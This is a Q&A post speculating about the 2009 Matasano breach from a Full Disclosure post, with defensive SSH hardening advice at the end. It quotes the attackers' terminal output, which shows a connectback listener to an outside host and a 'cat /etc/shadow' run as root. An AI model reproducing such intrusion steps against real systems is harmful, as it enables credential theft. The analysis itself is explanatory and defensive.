security - How did Matasano get hacked?

from: http://seclists.org/fulldisclosure/2009/Jul/0388.html

If I understand it best from the posts from: http://news.ycombinator.com/item?id=723798 the Matasano guys left sshd internet accessible - any proposed solutions for this (from a programming point-of-view) ?

Answer

How did Matasano get hacked?

That's impossible to answer from the information in the post to Full Disclosure. However it's always interesting to speculate, as they do give a little info away -

# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Connecting to 69.61.87.163:22..
[/] Looking for valid non-root user.. adam
******** R3D4CT3D h4h4h4h4 ********

They run their binary "th3_f1n41_s01ut10n" against Matasano's server, which connects to the ssh port. It finds a valid non-root user through some unknown means, and the rest of the output is redacted.

# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Connectback listener on 209.112.118.10:3338..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Oct 2007] 

The binary is run again using the found username, which logs in and connects back to their server on port 3338 (hope that's not registered in their name...).

adam_at_www:~$ uname -a
Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4 ****

They could be implying they have a 0-day against this kernel, which is quite old when you consider this company's stock-in-trade.

adam_at_www:~$ cd /tmp

*********** B0R1NG ***********
root_at_www:~# cat /etc/shadow 

Whoops - all of a sudden the user is now root. They have a local privilege escalation exploit in /tmp that might be the 0-day they referred to.

So there are at least two exploits going on here - the OpenSSH exploit to get a valid non-root user on the system, and login as that user, and then the local privilege escalation.

Considering that OpenSSH has a few known security issues since version 4.5:

From OpenSSH's security page:

• OpenSSH prior to version 5.2 is vulnerable to the protocol weakness described in CPNI-957037 "Plaintext Recovery Attack Against SSH". However, based on the limited information available it appears that this described attack is infeasible in most circumstances. For more information please refer to the cbc.adv advisory and the OpenSSH 5.2 release notes.


• OpenSSH 4.9 and newer do not execute ~/.ssh/rc for sessions whose command has been overridden with a sshd_config(5) ForceCommand directive. This was a documented, but unsafe behaviour (described in OpenSSH 4.9 release notes).


• OpenSSH 4.7 and newer do not fall back to creating trusted X11 authentication cookies when untrusted cookie generation fails (e.g. due to deliberate resource exhaustion), as described in the OpenSSH 4.7 release notes.

I guess having this older Linux kernel and older SSH daemon did for them. Also, it was running on their www server, which is available to the Internet, which is quite a confident thing to do in my opinion. The people who broke in obviously wanted to embarrass them.

How to prevent these attacks?

This could have been prevented by proactive administration - making sure any internet-facing services are patched, and limiting the number of people who can connect rather than allowing people to connect from anywhere. This episode compounds the lesson that secure system administration is hard, and requires dedication from the business to provide time for IT to keep things patched - in reality, not something that happens easily, at least in smaller companies.

Using a belt-and-braces approach is best - using public-key authentication, whitelisting on the ssh daemon, two-factor authentication, IP restrictions, and/or putting everything behind the VPN are possible routes to lock it down.

I think I know what I'll be doing at work tomorrow. :)